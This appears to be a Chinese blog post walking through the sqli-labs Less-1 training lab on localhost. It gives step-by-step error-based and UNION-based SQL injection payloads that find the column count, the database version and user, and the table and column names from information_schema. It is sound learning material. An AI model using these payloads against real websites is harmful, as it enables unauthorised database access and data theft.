sqli-labs less-1

首先正常访问:

输出名字和password,加上单引号(注意要是英文的):http://localhost:8085/sqli-labs/Less-1?id=1'

 看出可能存在注入点,之后利用id = 1 and 1=2 发现依旧报错,说明这个可能是字符型的注入点,所以利用字符闭合方式进行测试:http://localhost:8085/sqli-labs/Less-1?id=1' and 1=2 order by 3 %23,注意%23是#的编码之后的格式,就是最后加了一个注释符,把后面的单引号给注释掉。

具体执行的sql语句如下:

SELECT * FROM users WHERE id='1' and 1=2 order by 3 #' LIMIT 0,1

 

现在可以确定一定存在sql注入了,就是用以下一整套流程进行漏洞利用

当order by 4 时报错了,就说明表中一共有三列

http://localhost:8085/sqli-labs/Less-1/?id=1' and 1=2 order by 4 %23

 利用联合查询,可以看出显示出内容的为2和3,

http://localhost:8085/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3 %23

利用version()函数可以看到数据库版本:

 之后换成user()函数,可以看出当前数据库用户的角色。利用database()函数可以看到数据库名。

 之后可以从information_schema中的tables中查出具体的表有哪几个:(数据库版本5.0以上)

http://localhost:8085/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(SELECT  table_name FROM information_schema .`TABLES` WHERE TABLE_SCHEMA = 'security' LIMIT 0,1),3 %23

 

 

 之后可以利用通过查TABLE_NAME查询到数据库的列名

http://localhost:8085/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(SELECT COLUMN_name FROM information_schema.`COLUMNS` WHERE TABLE_SCHEMA = 'security' and TABLE_NAME = 'users' LIMIT 0,1),3 %23

 在之后,我们知道了数据库名、表名、列名,我们就能查询所有我们想查询的东西了,这套流程主要时为了记录下,知道sql注入点之后改怎么进行下一步操作。在之后学其他类型的注入点时我觉得时大同小异的,就不会做这么详细的记录了。

另外这个information_schema这个数据库只有数据库版本为5.0以上的才会有。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值